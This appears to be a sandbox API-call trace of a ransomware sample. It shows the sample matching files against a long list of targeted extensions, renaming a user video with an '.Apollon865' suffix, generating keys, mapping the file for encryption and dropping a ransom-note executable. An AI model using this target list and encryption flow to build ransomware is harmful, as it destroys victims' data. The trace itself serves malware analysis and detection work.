	[0086.386] lstrcmpiW (lpString1="mkv", lpString2="rpd") returned -1
	[0086.386] lstrlenW (lpString="rsd") returned 3
	[0086.386] lstrcmpiW (lpString1="mkv", lpString2="rsd") returned -1
	[0086.386] lstrlenW (lpString="sas7bdat") returned 8
	[0086.386] lstrcmpiW (lpString1="yxz-.mkv", lpString2="sas7bdat") returned 1
	[0086.386] lstrlenW (lpString="sbf") returned 3
	[0086.386] lstrcmpiW (lpString1="mkv", lpString2="sbf") returned -1
	[0086.386] lstrlenW (lpString="scx") returned 3
	[0086.386] lstrcmpiW (lpString1="mkv", lpString2="scx") returned -1
	[0086.386] lstrlenW (lpString="sdb") returned 3
	[0086.386] lstrcmpiW (lpString1="mkv", lpString2="sdb") returned -1
	[0086.386] lstrlenW (lpString="sdc") returned 3
	[0086.387] lstrcmpiW (lpString1="mkv", lpString2="sdc") returned -1
	[0086.387] lstrlenW (lpString="sdf") returned 3
	[0086.387] lstrcmpiW (lpString1="mkv", lpString2="sdf") returned -1
	[0086.387] lstrlenW (lpString="sis") returned 3
	[0086.387] lstrcmpiW (lpString1="mkv", lpString2="sis") returned -1
	[0086.387] lstrlenW (lpString="spq") returned 3
	[0086.387] lstrcmpiW (lpString1="mkv", lpString2="spq") returned -1
	[0086.387] lstrlenW (lpString="te") returned 2
	[0086.387] lstrcmpiW (lpString1="kv", lpString2="te") returned -1
	[0086.387] lstrlenW (lpString="teacher") returned 7
	[0086.387] lstrcmpiW (lpString1="xz-.mkv", lpString2="teacher") returned 1
	[0086.387] lstrlenW (lpString="tmd") returned 3
	[0086.387] lstrcmpiW (lpString1="mkv", lpString2="tmd") returned -1
	[0086.387] lstrlenW (lpString="tps") returned 3
	[0086.387] lstrcmpiW (lpString1="mkv", lpString2="tps") returned -1
	[0086.387] lstrlenW (lpString="trc") returned 3
	[0086.387] lstrcmpiW (lpString1="mkv", lpString2="trc") returned -1
	[0086.387] lstrlenW (lpString="trc") returned 3
	[0086.387] lstrcmpiW (lpString1="mkv", lpString2="trc") returned -1
	[0086.387] lstrlenW (lpString="trm") returned 3
	[0086.387] lstrcmpiW (lpString1="mkv", lpString2="trm") returned -1
	[0086.387] lstrlenW (lpString="udb") returned 3
	[0086.387] lstrcmpiW (lpString1="mkv", lpString2="udb") returned -1
	[0086.387] lstrlenW (lpString="udl") returned 3
	[0086.387] lstrcmpiW (lpString1="mkv", lpString2="udl") returned -1
	[0086.387] lstrlenW (lpString="usr") returned 3
	[0086.387] lstrcmpiW (lpString1="mkv", lpString2="usr") returned -1
	[0086.387] lstrlenW (lpString="v12") returned 3
	[0086.387] lstrcmpiW (lpString1="mkv", lpString2="v12") returned -1
	[0086.387] lstrlenW (lpString="vis") returned 3
	[0086.387] lstrcmpiW (lpString1="mkv", lpString2="vis") returned -1
	[0086.387] lstrlenW (lpString="vpd") returned 3
	[0086.387] lstrcmpiW (lpString1="mkv", lpString2="vpd") returned -1
	[0086.387] lstrlenW (lpString="vvv") returned 3
	[0086.387] lstrcmpiW (lpString1="mkv", lpString2="vvv") returned -1
	[0086.387] lstrlenW (lpString="wdb") returned 3
	[0086.387] lstrcmpiW (lpString1="mkv", lpString2="wdb") returned -1
	[0086.388] lstrlenW (lpString="wmdb") returned 4
	[0086.388] lstrcmpiW (lpString1=".mkv", lpString2="wmdb") returned -1
	[0086.388] lstrlenW (lpString="wrk") returned 3
	[0086.388] lstrcmpiW (lpString1="mkv", lpString2="wrk") returned -1
	[0086.388] lstrlenW (lpString="xdb") returned 3
	[0086.388] lstrcmpiW (lpString1="mkv", lpString2="xdb") returned -1
	[0086.388] lstrlenW (lpString="xld") returned 3
	[0086.388] lstrcmpiW (lpString1="mkv", lpString2="xld") returned -1
	[0086.388] lstrlenW (lpString="xmlff") returned 5
	[0086.388] lstrcmpiW (lpString1="-.mkv", lpString2="xmlff") returned -1
	[0086.388] wsprintfW (in: param_1=0x119d398, param_2="%s.%s" | out: param_1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\zBJy4rsUfgo XgJyxz-.mkv.Apollon865") returned 71
	[0086.388] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\zBJy4rsUfgo XgJyxz-.mkv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\zbjy4rsufgo xgjyxz-.mkv"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\zBJy4rsUfgo XgJyxz-.mkv.Apollon865" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\zbjy4rsufgo xgjyxz-.mkv.apollon865"), dwFlags=0x1) returned 1
	[0086.389] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\zBJy4rsUfgo XgJyxz-.mkv.Apollon865" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\zbjy4rsufgo xgjyxz-.mkv.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x9c
	[0086.389] GetFileSizeEx (in: hFile=0x9c, lpFileSize=0x119e298 | out: lpFileSize=0x119e298*=67132) returned 1
	[0086.389] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3060020
	[0086.390] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a8a8
	[0086.390] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf9a8
	[0086.390] CryptAcquireContextW (in: phProv=0x119d054, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d054*=0x5bf700) returned 1
	[0086.391] CryptGenRandom (in: hProv=0x5bf700, dwLen=0x80, pbBuffer=0x119d068 | out: pbBuffer=0x119d068) returned 1
	[0086.391] CryptReleaseContext (hProv=0x5bf700, dwFlags=0x0) returned 1
	[0086.391] CreateFileMappingW (hFile=0x9c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x10940, lpName=0x0) returned 0x15c
	[0086.391] MapViewOfFile (hFileMappingObject=0x15c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x10940) returned 0x120000
	[0086.393] CryptAcquireContextW (in: phProv=0x119d004, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d004*=0x5bf700) returned 1
	[0086.394] CryptGenRandom (in: hProv=0x5bf700, dwLen=0x80, pbBuffer=0x119d018 | out: pbBuffer=0x119d018) returned 1
	[0086.394] CryptReleaseContext (hProv=0x5bf700, dwFlags=0x0) returned 1
	[0086.394] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59ab78
	[0086.394] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59ab78 | out: hHeap=0x580000) returned 1
	[0086.394] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6668
	[0086.394] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b08e8
	[0086.394] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6668 | out: hHeap=0x580000) returned 1
	[0086.394] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b0a00
	[0086.394] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5b28e8
	[0086.395] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0a00 | out: hHeap=0x580000) returned 1
	[0086.395] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b28e8 | out: hHeap=0x580000) returned 1
	[0086.395] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b08e8 | out: hHeap=0x580000) returned 1
	[0086.395] UnmapViewOfFile (lpBaseAddress=0x120000) returned 1
	[0086.395] CloseHandle (hObject=0x15c) returned 1
	[0086.396] CloseHandle (hObject=0x9c) returned 1
	[0086.397] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a8a8 | out: hHeap=0x580000) returned 1
	[0086.397] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf9a8 | out: hHeap=0x580000) returned 1
	[0086.397] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3060020 | out: hHeap=0x580000) returned 1
	[0086.397] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf4835b0, ftCreationTime.dwHighDateTime=0x1d4cb80, ftLastAccessTime.dwLowDateTime=0xca0d2290, ftLastAccessTime.dwHighDateTime=0x1d4d48e, ftLastWriteTime.dwLowDateTime=0xca0d2290, ftLastWriteTime.dwHighDateTime=0x1d4d48e, nFileSizeHigh=0x0, nFileSizeLow=0x1063c, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="zBJy4rsUfgo XgJyxz-.mkv", cAlternateFileName="ZBJY4R~1.MKV")) returned 0
	[0086.397] FindClose (in: hFindFile=0x5ca2d0 | out: hFindFile=0x5ca2d0) returned 1
	[0086.397] RtlInterlockedPopEntrySList (in: ListHead=0x5b75f0 | out: ListHead=0x5b75f0) returned 0x5b7b50
	[0086.397] lstrcpynW (in: lpString1=0x119e608, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\X0JMpELFNa", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\X0JMpELFNa") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\X0JMpELFNa"
	[0086.397] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c5730 | out: hHeap=0x580000) returned 1
	[0086.397] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7b48 | out: hHeap=0x580000) returned 1
	[0086.397] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\X0JMpELFNa") returned 47
	[0086.397] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\X0JMpELFNa" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\X0JMpELFNa") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\X0JMpELFNa"
	[0086.398] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0086.398] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\X0JMpELFNa\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\x0jmpelfna\\how to back your files.exe"), bFailIfExists=1) returned 0
	[0086.398] CreateFileW (lpFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c
	[0086.399] GetLastError () returned 0x0
	[0086.399] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x1dc00) returned 0x5ecfb8
	[0086.399] ReadFile (in: hFile=0x10c, lpBuffer=0x5ecfb8, nNumberOfBytesToRead=0x1dc00, lpNumberOfBytesRead=0x119e2e4, lpOverlapped=0x0 | out: lpBuffer=0x5ecfb8*, lpNumberOfBytesRead=0x119e2e4*=0x1dc00, lpOverlapped=0x0) returned 1
	[0086.399] CloseHandle (hObject=0x10c) returned 1
	[0086.399] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5ecfb8 | out: hHeap=0x580000) returned 1
	[0086.399] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0086.399] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\X0JMpELFNa\\*", lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x390842f0, ftCreationTime.dwHighDateTime=0x1d4caae, ftLastAccessTime.dwLowDateTime=0x3013b0d0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x3013b0d0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca2d0
	[0086.399] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0086.399] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0086.399] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0086.399] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x390842f0, ftCreationTime.dwHighDateTime=0x1d4caae, ftLastAccessTime.dwLowDateTime=0x3013b0d0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x3013b0d0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0086.399] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0086.399] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0086.399] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0086.399] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0086.400] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc6d81de0, ftCreationTime.dwHighDateTime=0x1d4d39f, ftLastAccessTime.dwLowDateTime=0x1ce29260, ftLastAccessTime.dwHighDateTime=0x1d4cc8e, ftLastWriteTime.dwLowDateTime=0x1ce29260, ftLastWriteTime.dwHighDateTime=0x1d4cc8e, nFileSizeHigh=0x0, nFileSizeLow=0x18cf1, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="3gCWEGz5kWJo.avi", cAlternateFileName="3GCWEG~1.AVI")) returned 1
	[0086.400] lstrcmpiW (lpString1="3gCWEGz5kWJo.avi", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0086.400] lstrcmpiW (lpString1="3gCWEGz5kWJo.avi", lpString2="Apollon865.txt.exe") returned -1
	[0086.400] lstrcmpiW (lpString1="3gCWEGz5kWJo.avi", lpString2=".") returned 1
	[0086.400] lstrcmpiW (lpString1="3gCWEGz5kWJo.avi", lpString2="..") returned 1
	[0086.400] lstrcmpiW (lpString1="3gCWEGz5kWJo.avi", lpString2="windows") returned -1
	[0086.400] lstrcmpiW (lpString1="3gCWEGz5kWJo.avi", lpString2="bootmgr") returned -1
	[0086.400] lstrcmpiW (lpString1="3gCWEGz5kWJo.avi", lpString2="temp") returned -1
	[0086.400] lstrcmpiW (lpString1="3gCWEGz5kWJo.avi", lpString2="pagefile.sys") returned -1
	[0086.400] lstrcmpiW (lpString1="3gCWEGz5kWJo.avi", lpString2="boot") returned -1
	[0086.400] lstrcmpiW (lpString1="3gCWEGz5kWJo.avi", lpString2="ids.txt") returned -1
	[0086.400] lstrcmpiW (lpString1="3gCWEGz5kWJo.avi", lpString2="ntuser.dat") returned -1
	[0086.400] lstrcmpiW (lpString1="3gCWEGz5kWJo.avi", lpString2="perflogs") returned -1
	[0086.400] lstrcmpiW (lpString1="3gCWEGz5kWJo.avi", lpString2="MSBuild") returned -1
	[0086.400] lstrlenW (lpString="3gCWEGz5kWJo.avi") returned 16
	[0086.400] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\X0JMpELFNa\\*") returned 49
	[0086.400] lstrcpyW (in: lpString1=0x119e668, lpString2="3gCWEGz5kWJo.avi" | out: lpString1="3gCWEGz5kWJo.avi") returned="3gCWEGz5kWJo.avi"
	[0086.400] lstrlenW (lpString="3gCWEGz5kWJo.avi") returned 16
	[0086.400] lstrlenW (lpString="Apollon865") returned 10
	[0086.400] lstrcmpiW (lpString1="z5kWJo.avi", lpString2="Apollon865") returned 1
	[0086.400] lstrlenW (lpString=".dll") returned 4
	[0086.400] lstrcmpiW (lpString1="3gCWEGz5kWJo.avi", lpString2=".dll") returned 1
	[0086.400] lstrlenW (lpString=".lnk") returned 4
	[0086.400] lstrcmpiW (lpString1="3gCWEGz5kWJo.avi", lpString2=".lnk") returned 1
	[0086.400] lstrlenW (lpString=".ini") returned 4
	[0086.400] lstrcmpiW (lpString1="3gCWEGz5kWJo.avi", lpString2=".ini") returned 1
	[0086.400] lstrlenW (lpString=".sys") returned 4
	[0086.400] lstrcmpiW (lpString1="3gCWEGz5kWJo.avi", lpString2=".sys") returned 1
	[0086.400] lstrlenW (lpString="3gCWEGz5kWJo.avi") returned 16
	[0086.400] lstrlenW (lpString="bak") returned 3
	[0086.400] lstrcmpiW (lpString1="avi", lpString2="bak") returned -1
	[0086.400] lstrlenW (lpString="ba_") returned 3
	[0086.400] lstrcmpiW (lpString1="avi", lpString2="ba_") returned -1
	[0086.400] lstrlenW (lpString="dbb") returned 3
	[0086.400] lstrcmpiW (lpString1="avi", lpString2="dbb") returned -1
	[0086.400] lstrlenW (lpString="vmdk") returned 4
	[0086.401] lstrcmpiW (lpString1=".avi", lpString2="vmdk") returned -1
	[0086.401] lstrlenW (lpString="rar") returned 3
	[0086.401] lstrcmpiW (lpString1="avi", lpString2="rar") returned -1
	[0086.401] lstrlenW (lpString="zip") returned 3
	[0086.401] lstrcmpiW (lpString1="avi", lpString2="zip") returned -1
	[0086.401] lstrlenW (lpString="tgz") returned 3
	[0086.401] lstrcmpiW (lpString1="avi", lpString2="tgz") returned -1
	[0086.401] lstrlenW (lpString="vbox") returned 4
	[0086.401] lstrcmpiW (lpString1=".avi", lpString2="vbox") returned -1
	[0086.401] lstrlenW (lpString="vdi") returned 3
	[0086.401] lstrcmpiW (lpString1="avi", lpString2="vdi") returned -1
	[0086.401] lstrlenW (lpString="vhd") returned 3
	[0086.401] lstrcmpiW (lpString1="avi", lpString2="vhd") returned -1
	[0086.401] lstrlenW (lpString="vhdx") returned 4
	[0086.401] lstrcmpiW (lpString1=".avi", lpString2="vhdx") returned -1
	[0086.401] lstrlenW (lpString="avhd") returned 4
	[0086.401] lstrcmpiW (lpString1=".avi", lpString2="avhd") returned -1
	[0086.401] lstrlenW (lpString="db") returned 2
	[0086.401] lstrcmpiW (lpString1="vi", lpString2="db") returned 1
	[0086.401] lstrlenW (lpString="db2") returned 3
	[0086.401] lstrcmpiW (lpString1="avi", lpString2="db2") returned -1
	[0086.401] lstrlenW (lpString="db3") returned 3
	[0086.401] lstrcmpiW (lpString1="avi", lpString2="db3") returned -1
	[0086.401] lstrlenW (lpString="dbf") returned 3
	[0086.401] lstrcmpiW (lpString1="avi", lpString2="dbf") returned -1
	[0086.401] lstrlenW (lpString="mdf") returned 3
	[0086.401] lstrcmpiW (lpString1="avi", lpString2="mdf") returned -1
	[0086.401] lstrlenW (lpString="mdb") returned 3
	[0086.401] lstrcmpiW (lpString1="avi", lpString2="mdb") returned -1
	[0086.401] lstrlenW (lpString="sql") returned 3
	[0086.401] lstrcmpiW (lpString1="avi", lpString2="sql") returned -1
	[0086.401] lstrlenW (lpString="sqlite") returned 6
	[0086.401] lstrcmpiW (lpString1="Jo.avi", lpString2="sqlite") returned -1
	[0086.401] lstrlenW (lpString="sqlite3") returned 7
	[0086.401] lstrcmpiW (lpString1="WJo.avi", lpString2="sqlite3") returned 1
	[0086.401] lstrlenW (lpString="sqlitedb") returned 8
	[0086.401] lstrcmpiW (lpString1="kWJo.avi", lpString2="sqlitedb") returned -1
	[0086.402] lstrlenW (lpString="xml") returned 3
	[0086.402] lstrcmpiW (lpString1="avi", lpString2="xml") returned -1
	[0086.402] lstrlenW (lpString="$er") returned 3
	[0086.402] lstrcmpiW (lpString1="avi", lpString2="$er") returned 1
	[0086.402] lstrlenW (lpString="4dd") returned 3
	[0086.402] lstrcmpiW (lpString1="avi", lpString2="4dd") returned 1
	[0086.402] lstrlenW (lpString="4dl") returned 3
	[0086.402] lstrcmpiW (lpString1="avi", lpString2="4dl") returned 1
	[0086.402] lstrlenW (lpString="^^^") returned 3
	[0086.402] lstrcmpiW (lpString1="avi", lpString2="^^^") returned 1
	[0086.402] lstrlenW (lpString="abs") returned 3
	[0086.402] lstrcmpiW (lpString1="avi", lpString2="abs") returned 1
	[0086.402] lstrlenW (lpString="abx") returned 3
	[0086.402] lstrcmpiW (lpString1="avi", lpString2="abx") returned 1
	[0086.402] lstrlenW (lpString="accdb") returned 5
	[0086.402] lstrcmpiW (lpString1="o.avi", lpString2="accdb") returned 1
	[0086.402] lstrlenW (lpString="accdc") returned 5
	[0086.402] lstrcmpiW (lpString1="o.avi", lpString2="accdc") returned 1
	[0086.402] lstrlenW (lpString="accde") returned 5
	[0086.402] lstrcmpiW (lpString1="o.avi", lpString2="accde") returned 1
	[0086.402] lstrlenW (lpString="accdr") returned 5
	[0086.402] lstrcmpiW (lpString1="o.avi", lpString2="accdr") returned 1
	[0086.402] lstrlenW (lpString="accdt") returned 5
	[0086.402] lstrcmpiW (lpString1="o.avi", lpString2="accdt") returned 1
	[0086.402] lstrlenW (lpString="accdw") returned 5
	[0086.402] lstrcmpiW (lpString1="o.avi", lpString2="accdw") returned 1
	[0086.402] lstrlenW (lpString="accft") returned 5
	[0086.402] lstrcmpiW (lpString1="o.avi", lpString2="accft") returned 1
	[0086.402] lstrlenW (lpString="adb") returned 3
	[0086.402] lstrcmpiW (lpString1="avi", lpString2="adb") returned 1
	[0086.402] lstrlenW (lpString="adb") returned 3
	[0086.402] lstrcmpiW (lpString1="avi", lpString2="adb") returned 1
	[0086.402] lstrlenW (lpString="ade") returned 3
	[0086.402] lstrcmpiW (lpString1="avi", lpString2="ade") returned 1
	[0086.402] lstrlenW (lpString="adf") returned 3
	[0086.402] lstrcmpiW (lpString1="avi", lpString2="adf") returned 1
	[0086.402] lstrlenW (lpString="adn") returned 3
	[0086.403] lstrcmpiW (lpString1="avi", lpString2="adn") returned 1
	[0086.403] lstrlenW (lpString="adp") returned 3
	[0086.403] lstrcmpiW (lpString1="avi", lpString2="adp") returned 1
	[0086.403] lstrlenW (lpString="alf") returned 3
	[0086.403] lstrcmpiW (lpString1="avi", lpString2="alf") returned 1
	[0086.403] lstrlenW (lpString="ask") returned 3
	[0086.403] lstrcmpiW (lpString1="avi", lpString2="ask") returned 1
	[0086.403] lstrlenW (lpString="btr") returned 3
	[0086.403] lstrcmpiW (lpString1="avi", lpString2="btr") returned -1
	[0086.403] lstrlenW (lpString="cat") returned 3
	[0086.403] lstrcmpiW (lpString1="avi", lpString2="cat") returned -1
	[0086.403] lstrlenW (lpString="cdb") returned 3
	[0086.403] lstrcmpiW (lpString1="avi", lpString2="cdb") returned -1
	[0086.403] lstrlenW (lpString="ckp") returned 3
	[0086.403] lstrcmpiW (lpString1="avi", lpString2="ckp") returned -1
	[0086.403] lstrlenW (lpString="cma") returned 3
	[0086.403] lstrcmpiW (lpString1="avi", lpString2="cma") returned -1
	[0086.403] lstrlenW (lpString="cpd") returned 3
	[0086.403] lstrcmpiW (lpString1="avi", lpString2="cpd") returned -1
	[0086.403] lstrlenW (lpString="dacpac") returned 6
	[0086.403] lstrcmpiW (lpString1="Jo.avi", lpString2="dacpac") returned 1
	[0086.403] lstrlenW (lpString="dad") returned 3
	[0086.403] lstrcmpiW (lpString1="avi", lpString2="dad") returned -1
	[0086.403] lstrlenW (lpString="dadiagrams") returned 10
	[0086.403] lstrcmpiW (lpString1="z5kWJo.avi", lpString2="dadiagrams") returned 1
	[0086.403] lstrlenW (lpString="daschema") returned 8
	[0086.403] lstrcmpiW (lpString1="kWJo.avi", lpString2="daschema") returned 1
	[0086.403] lstrlenW (lpString="db-journal") returned 10
	[0086.403] lstrcmpiW (lpString1="z5kWJo.avi", lpString2="db-journal") returned 1
	[0086.403] lstrlenW (lpString="db-shm") returned 6
	[0086.403] lstrcmpiW (lpString1="Jo.avi", lpString2="db-shm") returned 1
	[0086.403] lstrlenW (lpString="db-wal") returned 6
	[0086.403] lstrcmpiW (lpString1="Jo.avi", lpString2="db-wal") returned 1
	[0086.403] lstrlenW (lpString="dbc") returned 3
	[0086.403] lstrcmpiW (lpString1="avi", lpString2="dbc") returned -1
	[0086.403] lstrlenW (lpString="dbs") returned 3
	[0086.403] lstrcmpiW (lpString1="avi", lpString2="dbs") returned -1
	[0086.403] lstrlenW (lpString="dbt") returned 3
	[0086.404] lstrcmpiW (lpString1="avi", lpString2="dbt") returned -1
	[0086.404] lstrlenW (lpString="dbv") returned 3
	[0086.404] lstrcmpiW (lpString1="avi", lpString2="dbv") returned -1
	[0086.404] lstrlenW (lpString="dbx") returned 3
	[0086.404] lstrcmpiW (lpString1="avi", lpString2="dbx") returned -1
	[0086.404] lstrlenW (lpString="dcb") returned 3
	[0086.404] lstrcmpiW (lpString1="avi", lpString2="dcb") returned -1
	[0086.404] lstrlenW (lpString="dct") returned 3
	[0086.404] lstrcmpiW (lpString1="avi", lpString2="dct") returned -1
	[0086.404] lstrlenW (lpString="dcx") returned 3
	[0086.404] lstrcmpiW (lpString1="avi", lpString2="dcx") returned -1
	[0086.404] lstrlenW (lpString="ddl") returned 3
	[0086.404] lstrcmpiW (lpString1="avi", lpString2="ddl") returned -1
	[0086.404] lstrlenW (lpString="dlis") returned 4
	[0086.404] lstrcmpiW (lpString1=".avi", lpString2="dlis") returned -1
	[0086.404] lstrlenW (lpString="dp1") returned 3
	[0086.404] lstrcmpiW (lpString1="avi", lpString2="dp1") returned -1
	[0086.404] lstrlenW (lpString="dqy") returned 3
	[0086.404] lstrcmpiW (lpString1="avi", lpString2="dqy") returned -1
	[0086.404] lstrlenW (lpString="dsk") returned 3
	[0086.404] lstrcmpiW (lpString1="avi", lpString2="dsk") returned -1
	[0086.404] lstrlenW (lpString="dsn") returned 3
	[0086.404] lstrcmpiW (lpString1="avi", lpString2="dsn") returned -1
	[0086.404] lstrlenW (lpString="dtsx") returned 4
	[0086.404] lstrcmpiW (lpString1=".avi", lpString2="dtsx") returned -1
	[0086.404] lstrlenW (lpString="dxl") returned 3
	[0086.404] lstrcmpiW (lpString1="avi", lpString2="dxl") returned -1
	[0086.404] lstrlenW (lpString="eco") returned 3
	[0086.404] lstrcmpiW (lpString1="avi", lpString2="eco") returned -1
	[0086.404] lstrlenW (lpString="ecx") returned 3
	[0086.404] lstrcmpiW (lpString1="avi", lpString2="ecx") returned -1
	[0086.404] lstrlenW (lpString="edb") returned 3
	[0086.404] lstrcmpiW (lpString1="avi", lpString2="edb") returned -1
	[0086.404] lstrlenW (lpString="epim") returned 4
	[0086.404] lstrcmpiW (lpString1=".avi", lpString2="epim") returned -1
	[0086.404] lstrlenW (lpString="fcd") returned 3
	[0086.404] lstrcmpiW (lpString1="avi", lpString2="fcd") returned -1
	[0086.404] lstrlenW (lpString="fdb") returned 3
	[0086.405] lstrcmpiW (lpString1="avi", lpString2="fdb") returned -1
	[0086.405] lstrlenW (lpString="fic") returned 3
	[0086.405] lstrcmpiW (lpString1="avi", lpString2="fic") returned -1
	[0086.405] lstrlenW (lpString="flexolibrary") returned 12
	[0086.405] lstrcmpiW (lpString1="EGz5kWJo.avi", lpString2="flexolibrary") returned -1
	[0086.405] lstrlenW (lpString="fm5") returned 3
	[0086.405] lstrcmpiW (lpString1="avi", lpString2="fm5") returned -1
	[0086.405] lstrlenW (lpString="fmp") returned 3
	[0086.405] lstrcmpiW (lpString1="avi", lpString2="fmp") returned -1
	[0086.405] lstrlenW (lpString="fmp12") returned 5
	[0086.405] lstrcmpiW (lpString1="o.avi", lpString2="fmp12") returned 1
	[0086.405] lstrlenW (lpString="fmpsl") returned 5
	[0086.405] lstrcmpiW (lpString1="o.avi", lpString2="fmpsl") returned 1
	[0086.405] lstrlenW (lpString="fol") returned 3
	[0086.405] lstrcmpiW (lpString1="avi", lpString2="fol") returned -1
	[0086.405] lstrlenW (lpString="fp3") returned 3
	[0086.405] lstrcmpiW (lpString1="avi", lpString2="fp3") returned -1
	[0086.405] lstrlenW (lpString="fp4") returned 3
	[0086.405] lstrcmpiW (lpString1="avi", lpString2="fp4") returned -1
	[0086.405] lstrlenW (lpString="fp5") returned 3
	[0086.405] lstrcmpiW (lpString1="avi", lpString2="fp5") returned -1
	[0086.405] lstrlenW (lpString="fp7") returned 3
	[0086.405] lstrcmpiW (lpString1="avi", lpString2="fp7") returned -1
	[0086.405] lstrlenW (lpString="fpt") returned 3
	[0086.405] lstrcmpiW (lpString1="avi", lpString2="fpt") returned -1
	[0086.405] lstrlenW (lpString="frm") returned 3
	[0086.405] lstrcmpiW (lpString1="avi", lpString2="frm") returned -1
	[0086.405] lstrlenW (lpString="gdb") returned 3
